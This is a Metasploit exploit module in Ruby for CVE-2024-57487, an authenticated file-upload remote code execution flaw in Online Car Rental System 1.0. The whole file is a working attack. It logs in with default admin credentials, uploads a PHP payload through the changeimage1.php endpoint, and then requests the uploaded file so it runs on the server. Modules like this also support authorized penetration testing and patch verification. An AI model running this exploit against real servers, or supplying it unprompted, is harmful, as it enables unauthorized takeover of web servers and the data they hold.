## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super( update_info( info, 'Name' => 'Car Rental System 1.0 File Upload RCE (Authenticated)', 'Description' => %q{ This module exploits an authenticated remote code execution vulnerability in the Online Car Rental System 1.0 via the `changeimage1.php` endpoint. An authenticated attacker can upload malicious PHP scripts without proper validation, enabling arbitrary code execution on the server. }, 'Author' => ['Aaryan Golatkar'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-57487'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2024-57487'], ], 'DisclosureDate' => '2025-01-13', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Privileged' => false, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Base path to Online Car Rental System', '/']), OptString.new('USERNAME', [true, 'The admin username', 'admin']), OptString.new('PASSWORD', [true, 'The admin password', 'Test@12345']), ] ) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'admin/')) return CheckCode::Unknown('Failed to access the target.') unless res&.code == 200 if res.body.include?('Car Rental Portal') return CheckCode::Detected('The target appears to be the Online Car Rental System.') end CheckCode::Safe('Online Car Rental System not detected') end def login print_status('Attempting to authenticate...') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin/'), 'method' => 'POST', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'login' => '' }, 'keep_cookies' => true ) unless res&.code == 200 && res.get_cookies.include?('PHPSESSID') fail_with(Failure::NoAccess, 'Failed to authenticate with the target.') end print_good('Authentication successful.') end def upload_shell payload_name = "#{Rex::Text.rand_text_alphanumeric(5)}.php" payload = get_write_exec_payload(unlink_self: true) print_status("Uploading payload as #{payload_name}...") post_data = Rex::MIME::Message.new post_data.add_part(payload, 'application/x-php', nil, "form-data; name=\"img1\"; filename=\"#{payload_name}\"") post_data.add_part('', nil, nil, 'form-data; name="update"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin/changeimage1.php'), 'method' => 'POST', 'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{post_data.bound}" }, 'vars_get' => { imgid: '1' }, 'data' => post_data.to_s ) fail_with(Failure::UnexpectedReply, 'Failed to upload payload.') unless res&.code == 200 print_good('Payload uploaded successfully.') payload_name end def exploit login payload_name = upload_shell payload_url = normalize_uri(target_uri.path, "admin/img/vehicleimages/#{payload_name}") print_status("Executing payload at #{payload_url}...") send_request_cgi( 'uri' => payload_url, 'method' => 'GET' ) end end